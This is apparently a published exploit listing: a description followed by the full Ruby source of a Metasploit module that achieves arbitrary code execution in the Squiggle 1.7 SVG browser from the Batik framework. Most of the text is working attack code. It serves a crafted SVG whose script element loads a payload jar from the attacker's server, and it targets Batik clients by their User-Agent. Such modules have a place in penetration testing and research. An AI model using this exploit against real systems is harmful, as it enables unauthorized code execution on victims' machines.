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Squiggle 1.7 SVG Browser Java Code Execution

Squiggle 1.7 SVG Browser Java Code Execution
Posted May 18, 2012
Authored by Nicolas Gregoire, sinn3r, juan vazquez | Site metasploit.com

This Metasploit module abuses the SVG support to execute Java Code in the Squiggle Browser included in the Batik framework 1.7 through a crafted svg file referencing a jar file. In order to gain arbitrary code execution, the browser must meet the following conditions: (1) It must support at least SVG version 1.1 or newer, (2) It must support Java code and (3) The "Enforce secure scripting" check must be disabled. The module has been tested against Windows and Linux platforms.

tags | exploit, java, arbitrary, code execution
systems | linux, windows
MD5 | 2c8371ebf9277f065c37c6f9a57a0aa1

Squiggle 1.7 SVG Browser Java Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "Squiggle 1.7 SVG Browser Java Code Execution",
'Description' => %q{
This module abuses the SVG support to execute Java Code in the
Squiggle Browser included in the Batik framework 1.7 through a
crafted svg file referencing a jar file.

In order to gain arbitrary code execution, the browser must meet
the following conditions: (1) It must support at least SVG version
1.1 or newer, (2) It must support Java code and (3) The "Enforce
secure scripting" check must be disabled.

The module has been tested against Windows and Linux platforms.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC
'sinn3r', # Metasploit
'juan vazquez' # Metasploit
],
'References' =>
[
['URL', 'http://www.agarri.fr/blog/']
],
'Payload' =>
{
'Space' => 20480,
'BadChars' => '',
'DisableNops' => true
},
'DefaultOptions' =>
{
'ExitFunction' => "none"
},
'Platform' => ['win', 'linux', 'java'],
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => "May 11 2012",
'DefaultTarget' => 0))

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
jar_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
jar_uri << "/#{rand_text_alpha(rand(6)+3)}.jar"
rand_text = Rex::Text.rand_text_alphanumeric(rand(8)+4)

if request.uri =~ /\.jar$/
paths = [
[ "Exploit.class" ],
[ "Exploit$1.class"],
[ "META-INF", "MANIFEST.MF"]
]

p = regenerate_payload(cli)

jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end

fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "batik_svg", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end

print_status("Sending jar payload")
send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'})

elsif agent =~ /Batik/
svg = %Q|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="#{jar_uri}"/>
<text>#{rand_text}</text>
</svg>
|

svg = svg.gsub(/\t\t\t/, '')
print_status("Sending svg")
send_response(cli, svg, {'Content-Type'=>'image/svg+xml'})

else
print_error("I don't know what the client is requesting: #{request.uri}")
end
end
end
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